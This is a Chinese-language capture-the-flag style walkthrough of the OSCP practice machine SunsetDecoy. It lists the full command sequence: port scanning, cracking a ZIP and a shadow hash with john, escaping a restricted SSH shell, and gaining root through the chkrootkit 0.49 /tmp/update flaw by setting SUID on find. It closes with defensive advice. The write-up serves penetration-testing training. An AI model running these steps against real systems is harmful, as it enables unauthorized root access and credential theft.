OSCP系列靶场-Esay-SunsetDecoy
字数 1369 2025-08-10 13:48:29

OSCP靶场渗透实战:SunsetDecoy靶机完整渗透指南

靶机概述

SunsetDecoy是一个难度为"Easy"的OSCP练习靶机,主要考察以下技术点:

  • 文件发现与密码破解
  • SSH受限环境逃逸
  • 进程监控与权限提升
  • chkrootkit漏洞利用

环境准备

网络配置

  • 攻击机IP: 192.168.45.194
  • 靶机IP: 192.168.190.85
  • 确保VPN连接正常

工具准备

  • nmap
  • john the ripper
  • hydra
  • pspy64 (进程监控工具)
  • wget/curl

信息收集阶段

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.190.85

结果:

  • 22/tcp - SSH (OpenSSH 7.9p1 Debian 10+deb10u2)
  • 80/tcp - HTTP (Apache httpd 2.4.38)

服务探测

sudo nmap -sT -sV -O -sC -p22,80 192.168.190.85

漏洞利用阶段

Web服务渗透

  1. 访问HTTP服务发现ZIP文件
wget http://192.168.190.85/save.zip
  1. ZIP密码破解
zip2john save.zip > password.hash
john --wordlist=/usr/share/wordlists/rockyou.txt password.hash

破解得到密码:manuel

  1. 解压ZIP文件
unzip save.zip

包含文件:

  • /etc/passwd
  • /etc/shadow
  • /etc/group
  • /etc/sudoers
  • /etc/hosts
  • /etc/hostname

用户密码破解

  1. 从passwd文件中提取用户名
cat etc/passwd

发现用户:296640a3b825115a47b68fc44501c828

  1. 从shadow文件中提取哈希
cat etc/shadow

提取用户哈希:

296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::
  1. 使用john破解密码
echo '296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::' > passwd.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

破解得到密码:server

SSH登录与受限环境逃逸

  1. SSH登录
ssh 296640a3b825115a47b68fc44501c828@192.168.190.85

密码:server

  1. 受限环境逃逸
ssh 296640a3b825115a47b68fc44501c828@192.168.190.85 -p22 -t "bash --noprofile"

重置PATH环境变量:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
  1. 获取第一个flag
find / -name local.txt 2>/dev/null
cat /home/296640a3b825115a47b68fc44501c828/local.txt

Flag1: f750ece6f4ea704c2902f5f7f6c10d2d

权限提升阶段

系统信息收集

  1. 系统版本
lsb_release -a

输出:

Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
  1. 内核版本
uname -a

输出:

Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
  1. 用户权限
id

输出:

uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) groups=1000(296640a3b825115a47b68fc44501c828)
  1. SUID文件检查
find / -perm -u=s -type f 2>/dev/null
  1. 进程监控(使用pspy64)
# 在攻击机启动HTTP服务
sudo python3 -m http.server 80

# 在靶机下载pspy64
wget http://192.168.45.194:80/pspy64
chmod +x pspy64
./pspy64

发现关键进程:

/bin/sh /root/chkrootkit-0.49/chkrootkit

chkrootkit提权

  1. 搜索chkrootkit漏洞
searchsploit chkrootkit

发现0.49版本存在漏洞

  1. 创建恶意update文件
cd /tmp
echo '#!/bin/sh
chmod +s /usr/bin/find' > update
chmod +x update
  1. 等待chkrootkit执行后,使用find提权
ls -al /usr/bin/find  # 检查是否已设置SUID
find . -exec /bin/bash -p \; -quit
  1. 验证root权限
id

输出:

uid=1000(296640a3b825115a47b68fc44501c828) gid=1000(296640a3b825115a47b68fc44501c828) euid=0(root) egid=0(root) groups=0(root),1000(296640a3b825115a47b68fc44501c828)
  1. 获取root flag
cat /root/proof.txt

Flag2: 462b67a92407c2b0d746f9298fbfa2f6

总结与关键点

  1. 文件发现与密码破解

    • 发现web服务上的ZIP文件
    • 使用zip2john和john破解ZIP密码
    • 从解压文件中获取shadow文件并破解用户密码
  2. SSH受限环境逃逸

    • 使用-t "bash --noprofile"参数绕过受限shell
    • 重置PATH环境变量恢复命令访问
  3. 进程监控技巧

    • 使用pspy64监控root执行的进程
    • 发现chkrootkit定期执行
  4. chkrootkit漏洞利用

    • 0.49版本会在/tmp下执行update文件
    • 通过恶意update文件设置find的SUID位
    • 利用find的SUID权限获取root shell
  5. 关键命令总结

    • 密码破解:zip2john + john
    • 哈希破解:john + rockyou.txt
    • 进程监控:pspy64
    • 权限提升:利用chkrootkit漏洞设置SUID
  6. 防御建议

    • 及时更新安全工具(chkrootkit)
    • 避免在/tmp目录执行任意脚本
    • 严格控制SUID权限
    • 使用强密码并定期更换
OSCP靶场渗透实战:SunsetDecoy靶机完整渗透指南 靶机概述 SunsetDecoy是一个难度为"Easy"的OSCP练习靶机,主要考察以下技术点: 文件发现与密码破解 SSH受限环境逃逸 进程监控与权限提升 chkrootkit漏洞利用 环境准备 网络配置 攻击机IP: 192.168.45.194 靶机IP: 192.168.190.85 确保VPN连接正常 工具准备 nmap john the ripper hydra pspy64 (进程监控工具) wget/curl 信息收集阶段 端口扫描 结果: 22/tcp - SSH (OpenSSH 7.9p1 Debian 10+deb10u2) 80/tcp - HTTP (Apache httpd 2.4.38) 服务探测 漏洞利用阶段 Web服务渗透 访问HTTP服务发现ZIP文件 ZIP密码破解 破解得到密码: manuel 解压ZIP文件 包含文件: /etc/passwd /etc/shadow /etc/group /etc/sudoers /etc/hosts /etc/hostname 用户密码破解 从passwd文件中提取用户名 发现用户: 296640a3b825115a47b68fc44501c828 从shadow文件中提取哈希 提取用户哈希: 使用john破解密码 破解得到密码: server SSH登录与受限环境逃逸 SSH登录 密码: server 受限环境逃逸 重置PATH环境变量: 获取第一个flag Flag1: f750ece6f4ea704c2902f5f7f6c10d2d 权限提升阶段 系统信息收集 系统版本 输出: 内核版本 输出: 用户权限 输出: SUID文件检查 进程监控(使用pspy64) 发现关键进程: chkrootkit提权 搜索chkrootkit漏洞 发现0.49版本存在漏洞 创建恶意update文件 等待chkrootkit执行后,使用find提权 验证root权限 输出: 获取root flag Flag2: 462b67a92407c2b0d746f9298fbfa2f6 总结与关键点 文件发现与密码破解 : 发现web服务上的ZIP文件 使用zip2john和john破解ZIP密码 从解压文件中获取shadow文件并破解用户密码 SSH受限环境逃逸 : 使用 -t "bash --noprofile" 参数绕过受限shell 重置PATH环境变量恢复命令访问 进程监控技巧 : 使用pspy64监控root执行的进程 发现chkrootkit定期执行 chkrootkit漏洞利用 : 0.49版本会在/tmp下执行update文件 通过恶意update文件设置find的SUID位 利用find的SUID权限获取root shell 关键命令总结 : 密码破解: zip2john + john 哈希破解: john + rockyou.txt 进程监控: pspy64 权限提升:利用chkrootkit漏洞设置SUID 防御建议 : 及时更新安全工具(chkrootkit) 避免在/tmp目录执行任意脚本 严格控制SUID权限 使用强密码并定期更换